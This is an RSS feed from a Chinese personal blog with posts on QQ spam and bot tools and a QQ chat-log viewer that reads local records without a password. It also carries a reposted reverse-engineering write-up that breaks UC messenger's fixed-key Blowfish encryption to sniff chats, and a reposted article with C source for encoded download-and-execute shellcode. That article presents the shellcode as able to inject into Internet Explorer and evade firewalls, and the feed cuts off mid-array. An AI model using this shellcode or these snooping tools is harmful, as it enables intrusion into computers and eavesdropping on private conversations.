<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[在夜里看星海]]></title>
<link>http://www.taiwanren.com/</link>
<description><![CDATA[机会无时不在，只是你准备好了没有-----夜星海]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[wuhan2001@hotmail.com(夜星海)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>在夜里看星海</title> 
	<url>http://www.taiwanren.com/images/logos.gif</url> 
	<link>http://www.taiwanren.com/</link> 
	<description>在夜里看星海</description> 
</image>

			<item>
			<link>http://www.taiwanren.com/default.asp?id=8702</link>
			<title><![CDATA[qq显隐身软件andQQ聊天室群发软件破解版and论坛群发软件免费版andQQ聊天记录查看器]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[程序人生]]></category>
			<pubDate>Thu,19 Jun 2008 17:37:59 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8702</guid>	
		<description><![CDATA[ QQ聊天室群发软件破解版and论坛群发软件免费版and供求信息发布软件破解版and网站推广软件andqq隐身软件<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 今天在google上发现这些排名相当靠前的软件，全部指向同一个网站，而且统一出现：错误信息 → 访问娱乐商务错误信息 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不得不佩服人家的seoer，高手就是高手！<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;想想我为什么那摩笨呢，干脆也借用一下下得了！呵呵<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;垃圾软件用在不同的场合也是有用，比如现在！<br/>哈哈，所有软件请到星海软件工作室<a href="http://www.msgba.cn" target="_blank">http://www.msgba.cn</a>下载<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;夜星海<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8701</link>
			<title><![CDATA[新版C#QQ机器人]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[C#/asp.net]]></category>
			<pubDate>Mon,18 Feb 2008 18:29:22 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8701</guid>	
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这几天在亲戚家没有电脑，手机流量也用完了，只有跑到网吧里上网，可怜啊。没什么事情把以前开发的C#QQ机器人修改了一些，给QQ机器人增加了汉字转拼音，和IP查询功能，时间快到了，就说到这里<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大家可以在这里看一下截图<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img src="http://www.msgba.cn/index.files/attachimg.gif" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/11.jpg" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/image.gif" border="0" alt=""/><br/><br/>　　<strong>11.jpg</strong> (81.18 KB)<br/><br/>　　程序界面<br/><br/>　　2007-12-28 23:25<img src="http://www.msgba.cn/index.files/attachimg.gif" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/22.jpg" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/image.gif" border="0" alt=""/><br/><br/>　　<strong>22.jpg</strong> (84.54 KB)<br/><br/>　　程序界面2<br/><br/>　　2007-12-28 23:25<img src="http://www.msgba.cn/index.files/attachimg.gif" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/444.jpg" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/image.gif" border="0" alt=""/><br/><br/>　　<strong>444.jpg</strong> (45.52 KB)<br/><br/>　　程序的类<br/><br/>　　2007-12-28 23:25<img src="http://www.msgba.cn/index.files/attachimg.gif" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/555.jpg" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/image.gif" border="0" alt=""/><br/><br/>　　<strong>555.jpg</strong> (12.4 KB)<br/><br/>　　程序的类2<br/><br/>　　2007-12-28 23:25<br/><br/>　　<img src="http://www.msgba.cn/index.files/attachimg.gif" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/666.jpg" border="0" alt=""/><br/><br/>　　<img src="http://www.msgba.cn/index.files/image.gif" border="0" alt=""/><br/><br/>　　<strong>666.jpg</strong> (20.18 KB)<br/>&nbsp;&nbsp;&nbsp;&nbsp; 大家可以到这里下载得看一下<br/>&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://www.msgba.cn/QQrobot.htm" target="_blank">http://www.msgba.cn/QQrobot.htm</a>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8700</link>
			<title><![CDATA[QQ消息管理器(QQ聊天记录查看器)]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[兴趣爱号]]></category>
			<pubDate>Sat,02 Feb 2008 21:40:37 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8700</guid>	
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这两天没什么事,在家里研究了一下QQ聊天记录的数据库,开发了一个QQ消息管理器,可以让我不用密码,不用打开QQ也可以查看本地电脑上面所有QQ的聊天记录<br/>&nbsp;&nbsp;&nbsp;&nbsp;大家可以到这里去看一下截图<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.msgba.cn" target="_blank">http://www.msgba.cn</a>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8699</link>
			<title><![CDATA[UC加密算法与解密 ]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[技术文档]]></category>
			<pubDate>Sun,23 Dec 2007 20:23:41 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8699</guid>	
		<description><![CDATA[概述：<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;UC是一款比较有名的国产聊天软件，早先由longmaster开发，现在已经被新浪收购。目前新浪Web语音聊天室也已经改装为使用UC插件了。这样一来新浪的Web聊天室看上去也很“安全”了。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;本文谈谈UC的文本加密方法，主要还是讲分析方法要点和Blowfish的特征，因为结果本身并没有什么好讲的，还原实现直接看代码就可以了。<br/> <br/> <a href="http://www.team509.com/download/ucsniffer.rar" target="_blank">http://www.team509.com/download/ucsniffer.rar</a><br/> <a href="http://www.team509.com/download/ucsniffer.src.rar" target="_blank">http://www.team509.com/download/ucsniffer.src.rar</a><br/><br/><br/><br/><br/>正文：<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;我注意到UC的时候它的版本是v2.40，那时UC的聊天数据就已经加密了，，一直到现在的UC2005（内部版本号好象是什么4.10.625）。另外软件本身也加了壳，在这一点上，UC比QQ做的好那么一点。然而，它的聊天文本加密是一个典型的完全不顾及密码学基本常识的蹩脚作品。我是说，它居然使用固定密钥！！！实际上再好的公开算法，也经不住固定密钥的糟蹋。真是可惜呀。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;关于Blowfish：Blowfish算法是密码学牛人Bruce Schneier设计的算法，是一个64位分组，变长密钥的分组密码算法。据作者本人讲，设计这个算法要达到四个目标：Fast，Compact， Simple和Variably Secure，想来应该是做到了。我不是十分清楚对该算法的分析现在达到了什么境界，不过本文目的不是去分析算法，而是针对特定的错误应用找出其中的漏洞。因此我们只要能辨认出这个算法就可以了。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;这个算法明显的汇编特征是，需要维护一个不小的表，加密的轮函数需要不断查表以进行运算。具体一点说是4个100h元的数组，每个元是一个32位整数。总计大小4*400h*4=1000h字节。另外附近还有一个18个元素的表，每个元素也是4字节。这些表的数值由加密密钥初始化而得到，但是在以后的加密过程中这个表是只读的，就是说其中的数据是不变的。表的使用方法是，把输入的整数拆分成四个字节，分别作四次查表，得到的结果作加法和异或运算后得到最后的该轮运算的结果。如果你看到某加密算法的汇编代码中有这样特征的话，十有八九就是Blowfish了。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;分析UC的过程，这里以UC2.40为例。首先查壳，ASPack 2.11 -&gt; Alexey Solodovnikov（后来变成了ASPack 2.12），脱壳过程就不赘述了，跟踪也不难，稍微细心一点，我们应该很快就能找到对数据进行加密处理的地方。一层层钻进call里面去后，我们可以看到下面这样一段代码：<br/><br/><br/>.text:005F92D4 sub_5F92D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proc near&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: sub_5F9330+23 p<br/>.text:005F92D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; sub_5F9394+24 p<br/>.text:005F92D4<br/>.text:005F92D4 var_2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = word ptr -2<br/>.text:005F92D4 arg_0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;8<br/>.text:005F92D4 arg_4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;0Ch<br/>.text:005F92D4<br/>.text:005F92D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ebp<br/>.text:005F92D5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ebp, esp<br/>.text:005F92D7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ecx<br/>.text:005F92D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ebx<br/>.text:005F92D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+arg_4]<br/>.text:005F92DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edx, [ebp+arg_0]<br/>.text:005F92DF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, eax<br/>.text:005F92E1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; cx, 0FFh<br/>.text:005F92E6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_2], cx<br/>.text:005F92EA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr&nbsp;&nbsp;&nbsp;&nbsp; eax, 8<br/>.text:005F92ED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ebx, eax<br/>.text:005F92EF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; bx, 0FFh<br/>.text:005F92F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr&nbsp;&nbsp;&nbsp;&nbsp; eax, 8<br/>.text:005F92F7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, eax<br/>.text:005F92F9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; cx, 0FFh<br/>.text:005F92FE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; ecx, cx<br/>.text:005F9301&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr&nbsp;&nbsp;&nbsp;&nbsp; eax, 8<br/>.text:005F9304&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; ax, 0FFh ; 到这里之前把输入拆成了4个单字节<br/>.text:005F9308&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; eax, ax<br/>.text:005F930B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [edx+eax*4+48h] ; 这里<br/>.text:005F930F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; eax, [edx+ecx*4+448h] ; 这里<br/>.text:005F9316&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; ecx, bx<br/>.text:005F9319&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, [edx+ecx*4+848h] ; 这里<br/>.text:005F9320&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; ecx, [ebp+var_2]<br/>.text:005F9324&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; eax, [edx+ecx*4+0C48h] ; 这里<br/>.text:005F932B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ebx<br/>.text:005F932C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>.text:005F932D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ebp<br/>.text:005F932E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retn<br/>.text:005F932E sub_5F92D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;endp<br/> <br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;看到了吗？EDX这个地方是一个18元的整数表，其实也就是Blowfish代码中维护的P盒，18*4=72=48h，那么EDX+48h，EDX+448h，EDX+848h和EDX+C48h就是S盒了，每个大小400h。标注“这里”的这四句是四次查表运算，结果放在EAX里返回。完全和Blowfish的轮函数F相同，所以看到这里，基本可以确定算法就是Blowfish了。多次观察加密过程，可以发现这个表里的数据总是不变的，说明UC的运行没有任何密钥协商过程，用的是固定密钥。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;Bruce原来的代码（<a href="http://www.schneier.com/code/bfsh-sch.zip" target="_blank">http://www.schneier.com/code/bfsh-sch.zip</a>）中用P，S来命名，我觉得不大好，所以我改写的时候稍微把名字加长了些。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;由于固定密钥，为了代码的简便，我选择了直接从内存里（7B0034）把这段生成好的1048h字节数据扒下来，写在了我的解密代码中，这也就是我的代码中P_BOX和S_BOX的来历。这样做一个好处是省去了调用InitializeBlowfish函数的时间，另外也真正做到专码专用了。只要UC一天不改，这代码就一天有效，决不含糊。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;现在的UC还是一直就使用这样的算法，至少两年都没改过了，而且还把新浪Web聊天室也如此包装了一下。解密既然不难，接下来的事情其实就都没有难度了，我随便分析了一下，写了个ucsniffer。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;关于UC的语音聊天没有仔细研究，如果没改动过的话，应该还是明码，直接在线收听或者录下来慢慢听都是可以实现的。<br/><br/><br/><br/>结论：<br/>&nbsp;&nbsp;&nbsp;&nbsp;总地来说我觉得Blowfish算法本身应该还是不错地，知道使用Blowfish也说明作者应该懂一些密码安全知识，可惜最糟糕的事情莫过于此，固定的密钥把所有本来应该有的安全性全部破坏掉了。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8698</link>
			<title><![CDATA[Down&amp;Exec Shellcode]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[VC++]]></category>
			<pubDate>Sat,10 Nov 2007 02:22:47 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8698</guid>	
		<description><![CDATA[文章作者：gyzy (www.gyzy.org)<br/>信息来源：邪恶八进制信息安全团队（www.eviloctal.com）<br/><br/>&nbsp;&nbsp;在溢出发生在诸如Office等等时，Down&amp;Exec的Shellcode往往用的很少，因为大多数防火墙都会弹出一个框，问你是否允许xx应用程序访问网络，这样就死翘了。所以捆绑MM的Shellcode比较受青睐，这两天搞了一个能穿透普通墙的Shellcode，纯代码注入IE进行下载，然后执行.不过1046的块头略显臃肿，呵呵，纯粹娱乐一下，高手飘过.<br/><br/>Copy code<br/><br/>#include &lt;stdio.h&gt;<br/>#include &lt;string.h&gt;<br/><br/>typedef void (*function)();<br/>function myfun;<br/><br/>unsigned char sh5llcode[] =<br/>&#34;\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xDF\x03\x80\x34\x0A\x99\xE2\xFA&#34;<br/>&#34;\xEB\x05\xE8\xEB\xFF\xFF\xFF&#34;<br/><br/>&#34;\x70\x0E\x9B\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12&#34;<br/>&#34;\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A&#34;<br/>&#34;\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6&#34;<br/>&#34;\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D&#34;<br/>&#34;\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A&#34;<br/>&#34;\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58&#34;<br/>&#34;\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x90\xC0&#34;<br/>&#34;\x71\x8B\x9B\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41&#34;<br/>&#34;\xF3\x9A\xC0\x71\x66\x98\x99\x99\x1A\x5F\x95\x12\x47\x1A\x5F\xD9&#34;<br/>&#34;\x12\x5F\x1A\x5F\xD8\xCF\xDF\x19\xA7\x19\xEC\x63\x19\xAF\x19\xC7&#34;<br/>&#34;\x18\x75\x99\x9D\x99\x99\x12\x75\x10\xEC\x99\x10\xC4\x9D\x10\x0C&#34;<br/>&#34;\x03\x99\x99\x99\x14\xD4\x91\xC8\xF3\x98\xF3\x99\xC9\xF1\x9B\x99&#34;<br/>&#34;\x99\x19\x66\xCE\x6D\x5F\x1C\x15\x99\x99\x99\x19\x14\x1C\x15\x99&#34;<br/>&#34;\x99\x99\x14\xC4\x95\xC9\xCA\xF3\x99\xF3\x99\xF3\x99\x66\xEC\x91&#34;<br/>&#34;\x66\xCE\x61\x66\xEC\x91\x66\xCE\x65\x20\xDD\x99\x99\x99\x5F\x1D&#34;<br/>&#34;\x94\x09\x99\x99\x99\x99\x7B\x6F\x5E\x1C\x09\x99\x99\x99\xDD\x99&#34;<br/>&#34;\x99\x99\xFF\x5E\x1C\x27\x99\x99\x99\x99\x99\x5F\x1C\x25\x99\x99&#34;<br/>&#34;\x99\x98\x14\x1C\x4D\x99\x99\x99\xC9\x14\x1C\x09\x99\x99\x99\xC9&#34;<br/>&#34;\xF3\x99\xF3\x99\xF3\x99\xF3\x99\xF3\x99\xF3\x99\x14\xDC\x95\xC9&#34;<br/>&#34;\xF3\x99\x66\xCE\x79\xF3\xD9\xF1\x99\x89\x99\x99\xF3\xD9\xF3\x99&#34;<br/>&#34;\x66\x2C\x4D\x99\x99\x99\x66\xCE\x7D\x10\x1C\x7D\x99\x99\x99\xF3&#34;<br/>&#34;\x99\xF3\xD9\x66\xEC\x9D\xC9\x66\x2C\x4D\x99\x99\x99\x66\xCE\x71&#34;<br/>&#34;\x12\xDE\x4D\x10\x1C\x75\x99\x99\x99\x12\xDE\x69\x10\x1C\x69\x99&#34;<br/>&#34;\x99\x99\x5E\x1C\x6D\x99\x99\x99\xEC\xEB\xF5\xF4\x5E\x1C\x61\x99&#34;<br/>&#34;\x99\x99\xF6\xF7\xB7\xFD\x5E\x1C\x65\x99\x99\x99\xF5\xF5\x99\x99&#34;<br/>&#34;\x5E\x1C\x8D\x98\x99\x99\xCC\xCB\xD5\xDD\x5E\x1C\x81\x98\x99\x99&#34;<br/>&#34;\xF6\xEE\xF7\xF5\x5E\x1C\x85\x98\x99\x99\xF6\xF8\xFD\xCD\x5E\x1C&#34;<br/>&#34;\xB9\x98\x99\x99\xF6\xDF\xF0\xF5\x5E\x1C\xBD\x98\x99\x99\xFC\xD8&#34;<br/>&#34;\x99\x99\x5E\x1C\xAD\x98\x99\x99\x99\x99\x99\x99\x12\xEC\x99\xAA&#34;<br/>&#34;\x50\xD8\xAA\x59\x35\x1C\x59\xEC\x61\xD8\xAA\x42\x12\xEC\x99\x13&#34;<br/>&#34;\x9F\x11\x1D\x84\xA1\x98\x99\x99\xDF\xDA\x7B\x6A\x5E\x1C\x21\x98&#34;<br/>&#34;\x99\x99\xFA\xA3\xC5\xFE\x5E\x1C\x25\x98\x99\x99\xE0\xE3\xE0\xB7&#34;<br/>&#34;\x5E\x1C\x59\x98\x99\x99\xFC\xE1\xFC\x99\x5E\x1C\x51\x98\x99\x99&#34;<br/>&#34;\x99\x99\x99\x99\x5E\x1C\x55\x98\x99\x99\x99\x99\x99\x99\xF3\xD9&#34;<br/>&#34;\xF1\x99\x89\x99\x99\xF1\x75\x99\x99\x99\xF3\x99\x66\x2C\x4D\x99&#34;<br/>&#34;\x99\x99\x66\xCE\x7D\x10\x1C\x71\x99\x99\x99\xF3\x99\xF1\x75\x99&#34;<br/>&#34;\x99\x99\x14\x0C\x75\x99\x99\x99\xCB\xC9\x66\x2C\x4D\x99\x99\x99&#34;<br/>&#34;\x66\xCE\x71\xF3\x99\xF3\x99\x66\x2C\x71\x99\x99\x99\x66\x2C\x7D&#34;<br/>&#34;\x99\x99\x99\xF3\x99\xF3\x99\x66\x2C\x4D\x99\x99\x99\x66\xCE\x75&#34;<br/>&#34;\xF1\x89\xBE\x99\x99\x66\xCE\x49\x14\x1C\x21\x98\x99\x99\xC9\x66&#34;<br/>&#34;\xCE\x41\xF3\x99\x66\xCE\x45\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB&#34;<br/>&#34;\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xFD\x64\x66&#34;<br/>&#34;\x66&#34;<br/><br/>&#34;\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xCA&#34;<br/>&#34;\xF5\xFC\xFC\xE9\x99\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB&#34;<br/>&#34;\xFC\xEA\xEA\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED&#34;<br/>&#34;\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB&#34;<br/>&#34;\xF6\xFA\xFC\xEA\xEA\xD8\x99\xCF\xF0\xEB\xED\xEC\xF8\xF5\xD8\xF5&#34;<br/>&#34;\xF5\xF6\xFA\xDC\xE1\x99\xCE\xEB\xF0\xED\xFC\xC9\xEB\xF6\xFA\xFC&#34;<br/>&#34;\xEA\xEA\xD4\xFC\xF4\xF6\xEB\xE0\x99\xDA\xEB\xFC\xF8\xED\xFC\xCB&#34;<br/>&#34;\xFC\xF4\xF6\xED\xFC\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD&#34;<br/>&#34;\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xD8\xFD\xEF\xF8\xE9\xF0\xAA&#34;<br/>&#34;\xAB\x99\xCB\xFC\xFE\xD6\xE9\xFC\xF7\xD2\xFC\xE0\xDC\xE1\xD8\x99&#34;<br/>&#34;\xCB\xFC\xFE\xC8\xEC\xFC\xEB\xE0\xCF\xF8\xF5\xEC\xFC\xDC\xE1\xD8&#34;<br/>&#34;\x99\xCB\xFC\xFE\xDA\xF5\xF6\xEA\xFC\xD2\xFC\xE0\x99\xCF\x12\xED&#34;<br/>&#34;\xBD\x91\x14\xDF\x91\xC9\x66\xCF\x9D\x14\xD7\xB